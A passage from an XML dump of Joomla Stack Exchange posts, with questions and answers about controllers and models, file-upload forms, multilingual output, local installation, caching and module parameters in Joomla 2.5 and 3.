LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2014-10-28T18:34:51.860" Title="smart search plugin for custom component not indexing" Tags="|joomla-3.x|plugin|smartsearch|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4515" PostTypeId="1" AcceptedAnswerId="4517" CreationDate="2014-09-20T14:50:13.190" Score="3" ViewCount="4539" Body="&lt;p&gt;I am trying to call model's method from controller. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;controller.php&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($view='myview'){   &#xA;      $model= $this-&amp;gt;getModel('mymodel');  //on echo-prints class name of model&#xA;      $locations= $model-&amp;gt;get('Locations');&#xA;      var_dump($locations);//prints NULL&#xA;      ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;mymodel.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getLocations(){  &#xA;      $db=JFactory::getDBO();&#xA;      $query=$db-&amp;gt;getQuery(true);  &#xA;      $query-&amp;gt;select('distinct location');   &#xA;      $query-&amp;gt;from('#__locations');&#xA;      $db-&amp;gt;setQuery($query);  &#xA;      return $loc = &amp;amp; $db-&amp;gt;loadObjectList();  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why it's returning NULL in controller, however &lt;code&gt;getLocations()&lt;/code&gt; working fine in &lt;strong&gt;view.html.php&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1926" LastEditorUserId="159" LastEditDate="2014-09-20T16:40:40.873" LastActivityDate="2014-09-20T19:25:51.143" Title="Calling model's method from view works, but not from controller" Tags="|joomla-3.x|fix-my-code|mvc|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4516" PostTypeId="2" ParentId="4515" CreationDate="2014-09-20T16:34:25.640" Score="3" Body="&lt;p&gt;There is very little background on what else is in the component. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You really need to check for database exceptions. See: &lt;a href=&quot;https://joomla.stackexchange.com/questions/495/how-to-do-sql-exception-error-handling-compatible-with-2-5-and-3-x&quot;&gt;How to do SQL exception / error handling compatible with 2.5 and 3.x?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see two options here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Recommended&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You set up your debugger in your prefered IDE and look into the code to see what it does and where is the null coming from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will help you not only now, but also on the long run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. May work&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disadvantage of this method is that your code quality will continue to be poor and the next &lt;code&gt;null&lt;/code&gt; you get will result into a new question asking for help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it seems that &lt;code&gt;$model&lt;/code&gt; is an instance of your model, the only chance I see if somehow &lt;code&gt;getLocations()&lt;/code&gt; not being called or &lt;code&gt;loadObjectList()&lt;/code&gt; returning a null as a result of a failed query. Not excluded is also a typo somewhere.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-09-20T19:22:19.550" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4517" PostTypeId="2" ParentId="4515" CreationDate="2014-09-20T19:25:51.143" Score="5" Body="&lt;p&gt;You don't do &lt;code&gt;$model-&amp;gt;get('Locations')&lt;/code&gt;. The correct syntax is to just call the method name: &lt;code&gt;$model-&amp;gt;getLocations()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;code&gt;-&amp;gt;get('Locations')&lt;/code&gt; syntax is only valid in a view (because &lt;code&gt;get()&lt;/code&gt; is a method of the view class).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't throw an error on the model, because it does also have a &lt;code&gt;get&lt;/code&gt; method. However, it does a completely different task than being a reference for other methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lots of other things that I want to note about the code:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Your if statement in the control should have two &lt;code&gt;=&lt;/code&gt; signs. Otherwise you are setting the view to be that string (so it will always run).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why do this: &lt;code&gt;return $loc = &amp;amp; $db-&amp;gt;loadObjectList();&lt;/code&gt;? Storing the object list in a local variable at the end is just odd. And you definitely don't need to store by reference by using the &lt;code&gt;&amp;amp;&lt;/code&gt;. Just do &lt;code&gt;return $db-&amp;gt;loadObjectList();&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This one may not be true in your case, but if the model and the controller are from the same set (i.e. have the same name) you can usually get away with just doing &lt;code&gt;$model = $this-&amp;gt;getModel();&lt;/code&gt; instead of &lt;code&gt;$model= $this-&amp;gt;getModel('mymodel');&lt;/code&gt; The controller already defaults to the model of the same name.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-20T19:25:51.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4518" PostTypeId="1" AcceptedAnswerId="4519" CreationDate="2014-09-20T20:08:49.657" Score="4" ViewCount="1309" Body="&lt;p&gt;I have a custom component that takes input from the admin and displays it as a custom styled view on the front-end of the site. One of the fields is a file upload for an image and I cannot figure out/find online how to link the controller upload code to the view. Everything I've read online basically says, &quot;Study existing core component code&quot; and I've done that to no avail. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My admin controller:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class NewsShowcaseController extends JController&#xA;{&#xA;    /**&#xA;     * display task&#xA;     *&#xA;     * @return void&#xA;     */&#xA;    function display($cachable = false, $urlparams = false) &#xA;    {&#xA;            // set default view if not set&#xA;            $input = JFactory::getApplication()-&amp;gt;input;&#xA;            $input-&amp;gt;set('view', $input-&amp;gt;getCmd('view', 'NewsShowcaseAdmin'));&#xA;&#xA;            // call parent behavior&#xA;            parent::display($cachable);&#xA;    }&#xA;&#xA;    /*&#xA;     * The folder we are uploading into&#xA;     */&#xA;    protected $folder = '';&#xA;&#xA;    /**&#xA;     * Upload one or more files&#xA;     *&#xA;     * @since 1.5&#xA;     */&#xA;    public function upload()&#xA;    {&#xA;            // Check for request forgeries&#xA;            JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));&#xA;            $params = JComponentHelper::getParams('com_media');&#xA;            // Get some data from the request&#xA;            $files                  = JRequest::getVar('Filedata', '', 'files', 'array');&#xA;            $return                 = JRequest::getVar('return-url', null, 'post', 'base64');&#xA;            $this-&amp;gt;folder   = JRequest::getVar('folder', '', '', 'path');&#xA;&#xA;            // Set the redirect&#xA;            if ($return)&#xA;            {&#xA;                    $this-&amp;gt;setRedirect(base64_decode($return) . '&amp;amp;folder=' . $this-&amp;gt;folder);&#xA;            }&#xA;&#xA;            // Authorize the user&#xA;            if (!$this-&amp;gt;authoriseUser('create'))&#xA;            {&#xA;                    return false;&#xA;            }&#xA;            if (&#xA;                    $_SERVER['CONTENT_LENGTH']&amp;gt;($params-&amp;gt;get('upload_maxsize', 0) * 1024 * 1024) ||&#xA;                    $_SERVER['CONTENT_LENGTH']&amp;gt;(int)(ini_get('upload_max_filesize'))* 1024 * 1024 ||&#xA;                    $_SERVER['CONTENT_LENGTH']&amp;gt;(int)(ini_get('post_max_size'))* 1024 * 1024 ||&#xA;                    (($_SERVER['CONTENT_LENGTH'] &amp;gt; (int) (ini_get('memory_limit')) * 1024 * 1024) &amp;amp;&amp;amp; ((int) (ini_get('memory_limit')) != -1))&#xA;            )&#xA;            {&#xA;                    JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE'));&#xA;                    return false;&#xA;            }&#xA;            // Input is in the form of an associative array containing numerically indexed arrays&#xA;            // We want a numerically indexed array containing associative arrays&#xA;            // Cast each item as array in case the Filedata parameter was not sent as such&#xA;            $files = array_map( array($this, 'reformatFilesArray'),&#xA;                    (array) $files['name'], (array) $files['type'], (array) $files['tmp_name'], (array) $files['error'], (array) $files['size']&#xA;            );&#xA;&#xA;            // Perform basic checks on file info before attempting anything&#xA;            foreach ($files as &amp;amp;$file)&#xA;            {&#xA;                    if ($file['error']==1)&#xA;                    {&#xA;                            JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE'));&#xA;                            return false;&#xA;                    }&#xA;                    if ($file['size']&amp;gt;($params-&amp;gt;get('upload_maxsize', 0) * 1024 * 1024))&#xA;                    {&#xA;                            JError::raiseNotice(100, JText::_('COM_MEDIA_ERROR_WARNFILETOOLARGE'));&#xA;                            return false;&#xA;                    }&#xA;&#xA;                    if (JFile::exists($file['filepath']))&#xA;                    {&#xA;                            // A file with this name already exists&#xA;                            JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_FILE_EXISTS'));&#xA;                            return false;&#xA;                    }&#xA;&#xA;                    if (!isset($file['name']))&#xA;                    {&#xA;                            // No filename (after the name was cleaned by JFile::makeSafe)&#xA;                            $this-&amp;gt;setRedirect('index.php', JText::_('COM_MEDIA_INVALID_REQUEST'), 'error');&#xA;                            return false;&#xA;                    }&#xA;            }&#xA;&#xA;            // Set FTP credentials, if given&#xA;            JClientHelper::setCredentialsFromRequest('ftp');&#xA;            JPluginHelper::importPlugin('content');&#xA;            $dispatcher     = JDispatcher::getInstance();&#xA;&#xA;            foreach ($files as &amp;amp;$file)&#xA;            {&#xA;                    // The request is valid&#xA;                    $err = null;&#xA;                    if (!MediaHelper::canUpload($file, $err))&#xA;                    {&#xA;                            // The file can't be upload&#xA;                            JError::raiseNotice(100, JText::_($err));&#xA;                            return false;&#xA;                    }&#xA;&#xA;                    // Trigger the onContentBeforeSave event.&#xA;                    $object_file = new JObject($file);&#xA;                    $result = $dispatcher-&amp;gt;trigger('onContentBeforeSave', array('com_media.file', &amp;amp;$object_file, true));&#xA;                    if (in_array(false, $result, true))&#xA;                    {&#xA;                            // There are some errors in the plugins&#xA;                            JError::raiseWarning(100, JText::plural('COM_MEDIA_ERROR_BEFORE_SAVE', count($errors = $object_file-&amp;gt;getErrors()), implode('&amp;lt;br /&amp;gt;', $errors)));&#xA;                            return false;&#xA;                    }&#xA;&#xA;                    if (!JFile::upload($file['tmp_name'], $file['filepath']))&#xA;                    {&#xA;                            // Error in upload&#xA;                            JError::raiseWarning(100, JText::_('COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE'));&#xA;                            return false;&#xA;                    }&#xA;                    else&#xA;                    {&#xA;                            // Trigger the onContentAfterSave event.&#xA;                            $dispatcher-&amp;gt;trigger('onContentAfterSave', array('com_media.file', &amp;amp;$object_file, true));&#xA;                            $this-&amp;gt;setMessage(JText::sprintf('COM_MEDIA_UPLOAD_COMPLETE', substr($file['filepath'], strlen(COM_MEDIA_BASE))));&#xA;                    }&#xA;            }&#xA;&#xA;            return true;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took the upload code from the core com_media component's &quot;file&quot; controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My view:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   class NewsShowcaseViewNewsShowcaseAdmin extends JView&#xA;   {&#xA;/**&#xA; * News Showcase Admin view display method&#xA;     * @return void&#xA;     */&#xA;    function display($tpl = null) &#xA;    {&#xA;            // Get data from the model&#xA;            $items = $this-&amp;gt;get('Items');&#xA;            $pagination = $this-&amp;gt;get('Pagination');&#xA;            $this-&amp;gt;image = $this-&amp;gt;get('Image');&#xA;            $this-&amp;gt;description = $this-&amp;gt;get('Description');&#xA;&#xA;            // Check for errors.&#xA;            if (count($errors = $this-&amp;gt;get('Errors'))) &#xA;            {&#xA;                    JError::raiseError(500, implode('&amp;lt;br /&amp;gt;', $errors));&#xA;                    return false;&#xA;            }&#xA;            // Assign data to the view&#xA;            $this-&amp;gt;items = $items;&#xA;            $this-&amp;gt;pagination = $pagination;&#xA;&#xA;            // Display the template&#xA;            parent::display($tpl);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;form name=&quot;upload&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;file&quot; name=&quot;file_upload&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; value=&quot;Upload Image&quot; /&amp;gt;&#xA;            &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I didn't include any code for the model because I assume that's the piece I am missing? I am unsure of how to go about coding it though. I have some &quot;get&quot; methods in my model, but would this be a &quot;set&quot; method? Or how do I call a function from the controller and pass it the input from the HTML/view?&lt;/p&gt;&#xA;" OwnerUserId="1707" LastActivityDate="2014-09-21T03:01:56.610" Title="Custom Component - Linking File Upload From Controller to View" Tags="|component|view|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4519" PostTypeId="2" ParentId="4518" CreationDate="2014-09-21T03:01:56.610" Score="5" Body="&lt;p&gt;To start, it would probably be best to go through all of this: &lt;a href=&quot;http://docs.joomla.org/J2.5:Developing_a_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;noreferrer&quot;&gt;http://docs.joomla.org/J2.5:Developing_a_MVC_Component/Developing_a_Basic_Component&lt;/a&gt;. It's a lot of information, but it will definitely help answer a lot of your questions.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Let's start with the form. There are a few pieces that you can do to get this to point at the controller function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form name=&quot;upload&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;file&quot; name=&quot;file_upload&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Upload Image&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_component_name&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;controller.method&quot; /&amp;gt;&#xA;    &amp;lt;?php echo JHtml::_( 'form.token' ); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've added two hidden inputs to the form. These two fields route the posted data. The first one should match your component. The second can either be just a method name (if you are routing to the base &lt;code&gt;controller.php&lt;/code&gt; file in the root of your component) or it should use this &quot;dot syntax&quot; to specify the controller and method. (Your case would probably just be &lt;code&gt;upload&lt;/code&gt; since that looks like the base controller to me.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extra php bit at the end adds a CSRF token to help prevent CSRF attacks. You can read more about it here: &lt;a href=&quot;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&quot; rel=&quot;noreferrer&quot;&gt;http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms&lt;/a&gt;. The part to check for this token is already at the top of the upload function.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now that you are actually getting your upload function to run on the form submission, we need to process the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't bother using the &lt;code&gt;JRequest&lt;/code&gt; class for input. It is deprecated and will go away soon. Use &lt;code&gt;JInput&lt;/code&gt; as outlined here: &lt;a href=&quot;http://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;noreferrer&quot;&gt;http://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pretty much everything before the following line isn't probably necessary for the task at hand. It allows customization that you don't really need for now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$files = array_map( array($this, 'reformatFilesArray'),&#xA;    (array) $files['name'], (array) $files['type'], (array) $files['tmp_name'], (array) $files['error'], (array) $files['size']&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because we are using &lt;code&gt;JInput&lt;/code&gt; now, we can instead do this like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$files = $app-&amp;gt;input-&amp;gt;files-&amp;gt;get('file_upload');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe all of the rest of the interating on the $files array should work. You will want to check whether $files is an array of files or just a single level array of a file. In the latter case, you don't need the &lt;code&gt;foreach&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That should be enough for this question. I can almost guarantee that you will have more questions. This question is already fairly broad, so don't keep asking pieces onto this. Instead, please feel free to open new questions on the specific problems that you are having (as well as searching more specifically on those problems, because there are a lot of resources on this already.)&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-09-21T03:01:56.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4521" PostTypeId="1" CreationDate="2014-09-22T07:01:38.870" Score="4" ViewCount="77" Body="&lt;p&gt;I have a Joomla 2.5 multilingual website (ua,ru,en).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to change a function, which is responsible for article output. This function should trim content (db column &lt;code&gt;introtext&lt;/code&gt; table &lt;code&gt;_content&lt;/code&gt;) by tags &lt;code&gt;&amp;lt;ua&amp;gt;/&amp;lt;ru&amp;gt;/&amp;lt;en&amp;gt;&lt;/code&gt; and output only that part of article, which is enclosed in tags &lt;code&gt;&amp;lt;en&amp;gt;&amp;lt;/en&amp;gt;&lt;/code&gt; for english, &lt;code&gt;&amp;lt;ua&amp;gt;&amp;lt;/ua&amp;gt;&lt;/code&gt; for ukrainian, &lt;code&gt;&amp;lt;ru&amp;gt;&amp;lt;/ru&amp;gt;&lt;/code&gt; for russian. So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result articles should look like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ua&amp;gt;bla blah&amp;lt;/ua&amp;gt;&amp;lt;ru&amp;gt;ololo lorem ipsum&amp;lt;/ru&amp;gt;&amp;lt;en&amp;gt;hello world!&amp;lt;/en&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then function should check &lt;code&gt;$_SERVER['REQUEST_URI']&lt;/code&gt; and put language in &lt;code&gt;$lang&lt;/code&gt; variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that function should delete all code from &lt;code&gt;introtext&lt;/code&gt; column except that is enclosed in &lt;code&gt;&amp;lt;$lang&amp;gt;&amp;lt;/$lang&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you help me to find where function of article output is?&lt;/p&gt;&#xA;" OwnerUserId="1930" LastEditorUserId="159" LastEditDate="2014-09-22T16:31:24.497" LastActivityDate="2014-09-22T19:47:30.090" Title="Article output at multilingual websites" Tags="|joomla-2.5|multilingual|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4522" PostTypeId="1" CreationDate="2014-09-22T07:25:47.320" Score="0" ViewCount="2881" Body="&lt;p&gt;How to link entire article content (including text, paragraph, etc.) as menu in Joomla. Any help greatly appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WUCd4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entire above block I want as menu&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1875" LastEditorUserId="1875" LastEditDate="2014-09-22T09:31:45.643" LastActivityDate="2014-09-22T16:39:51.777" Title="How to link entire article content as menu" Tags="|joomla-3.x|module|articles|menu|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4525" PostTypeId="2" ParentId="4521" CreationDate="2014-09-22T10:09:03.643" Score="0" Body="&lt;p&gt;It seems that you will need to &lt;a href=&quot;http://docs.joomla.org/J2.5:Creating_a_content_plugin&quot; rel=&quot;nofollow&quot;&gt;develop a content plugin&lt;/a&gt; for this and use &lt;a href=&quot;http://docs.joomla.org/Plugin/Events/Content&quot; rel=&quot;nofollow&quot;&gt;onContentPrepare&lt;/a&gt; event to modify the output for your needs.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-09-22T10:09:03.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4526" PostTypeId="1" CreationDate="2014-09-17T17:20:35.237" Score="3" ViewCount="1992" Body="&lt;p&gt;I downloaded Joomla to create a website, but before buying any domain/hosting service, I prefer to work locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I downloaded XAMPP and moved joomla's file to XAMPP's htdocs folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From localhost domain, I started joomla installation. At a certain point, &lt;strong&gt;I'm requested to insert data for accessing database.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually, my site needs no database. My questions are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it necessary to specify a database's data during Joomla's configuration?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Should I install MySQL on my PC and use its access data during configuration of joomla, while working locally?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If answer to previous question is YES, can I change access data any time to fulfill hosting service requirements, once my site is uploaded to &quot;real server?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="ubisum" LastEditorUserId="159" LastEditDate="2014-09-22T11:32:34.077" LastActivityDate="2016-11-22T12:54:39.107" Title="Do I need a database to install Joomla on localhost using XAMPP?" Tags="|mysql|installation|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4527" PostTypeId="2" ParentId="4526" CreationDate="2014-09-17T17:34:16.680" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;Yes you require a database for Joomla to work.&lt;/li&gt;&#xA;&lt;li&gt;Xampp comes with mysql, just make sure mysql server is running and create a&#xA;database using phpmyadmin. &lt;/li&gt;&#xA;&lt;li&gt;You can change your access data&#xA;anytime either by editing configuration.php or by changing global&#xA;configuration settings by logging in as joomla admin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="Praveen Kavuri" LastActivityDate="2014-09-17T17:34:16.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4528" PostTypeId="1" CreationDate="2014-09-11T13:11:36.537" Score="3" ViewCount="2997" Body="&lt;p&gt;I am using an external to joomla script and I need to get a module's parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In joomla 2.5, the code was working fine, but in j3 I have problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', getcwd().'/../../');&#xA;require_once ( JPATH_BASE.'includes/defines.php' );&#xA;require_once ( JPATH_BASE.'includes/framework.php' );&#xA;&#xA;/* Create the Application */&#xA;$app = JFactory::getApplication('site');&#xA;&#xA;&#xA;jimport( 'joomla.application.module.helper' );&#xA;$module = &amp;amp;JModuleHelper::getModule( 'mod_mailformmodule');&#xA;var_dump($module);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object(stdClass)#43 (8) {&#xA;  [&quot;id&quot;]=&amp;gt;&#xA;  int(0)&#xA;  [&quot;title&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;module&quot;]=&amp;gt;&#xA;  string(18) &quot;mod_mailformmodule&quot;&#xA;  [&quot;position&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;content&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;showtitle&quot;]=&amp;gt;&#xA;  int(0)&#xA;  [&quot;control&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;  [&quot;params&quot;]=&amp;gt;&#xA;  string(0) &quot;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone has an ide why the &quot;params&quot; field is an empty string, I would be gratefull.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerDisplayName="pcrikos" LastActivityDate="2014-09-22T11:09:25.123" Title="&amp;JModuleHelper::getModule doesnt return parameters in joomla 3" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4529" PostTypeId="1" CreationDate="2014-09-11T12:02:39.750" Score="2" ViewCount="90" Body="&lt;p&gt;I created a website with Joomla 1.5 and i am using Server2Go as my local server and this site will be used for presentation purposes in a CD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this site is about to 500 MB with its database included and it has installed joomfish and phocagallery components. &#xA;In addition, this site contains articles with many photos inserted with hign analysis.It is for presenting an island,so the pictures should have high analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I burned all this to a Cd-Rom with Power-ISO and Server2Go inside and working fine but i have problem with the loading time and the navigation time between menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PROBLEM is that It takes more than 15 seconds to load!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or ideas about improving this whole concept will be appreciated very much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerDisplayName="Csdtesting" LastActivityDate="2014-09-22T11:00:28.363" Title="How to improve the speed of a Joomla site launched at Server2Go" Tags="|mysql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4530" PostTypeId="2" ParentId="4529" CreationDate="2014-09-11T12:19:25.907" Score="1" Body="&lt;p&gt;As it's not a dynamic site that will work in a server environment you could enable full joomla caching using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Global Configuration -&amp;gt; Cache Settings -&amp;gt; ON - Conservative caching&#xA;Extensions -&amp;gt; Plugin Manager -&amp;gt; System - Cache (enable)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Before you create the cd please try to open all pages in order to have all the content cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Luck!&lt;/p&gt;&#xA;" OwnerUserId="1830" OwnerDisplayName="emmanuel" LastActivityDate="2014-09-11T12:19:25.907" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4531" PostTypeId="1" CreationDate="2014-09-11T15:41:17.103" Score="1" ViewCount="1972" Body="&lt;p&gt;My cache handler in Joomla! only shows 'memcached (experimental)', and not File etc. I was able to change the cache handler in my configuration.php but I'd still like to know why File is not shown as a cache handler option? How can I fix it? I checked folder rights already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="4104" OwnerDisplayName="Bastiaan" LastEditorUserId="115" LastEditDate="2015-02-01T16:53:40.583" LastActivityDate="2017-07-24T12:47:16.443" Title="Joomla cache handler only shows memcached" Tags="|performance|cache|cache-handler|" AnswerCount="3" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4532" PostTypeId="2" ParentId="4528" CreationDate="2014-09-22T11:09:25.123" Score="1" Body="&lt;p&gt;It is most likely that you module does not meet the required criteria. Make sure:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It is enabled.&lt;/li&gt;&#xA;&lt;li&gt;It is assigned to the current menu item or is assigned to all menu items. &lt;/li&gt;&#xA;&lt;li&gt;The user meets the access level requirements.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have just tested the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( '_JEXEC', 1 );&#xA;define('JPATH_BASE', getcwd().'/../../');&#xA;require_once ( JPATH_BASE.'includes/defines.php' );&#xA;require_once ( JPATH_BASE.'includes/framework.php' );&#xA;&#xA;/* Create the Application */&#xA;$app = JFactory::getApplication('site');&#xA;&#xA;jimport( 'joomla.application.module.helper' );&#xA;$module = JModuleHelper::getModule( 'mod_login' );&#xA;&#xA;$registry = new JRegistry();&#xA;$params = 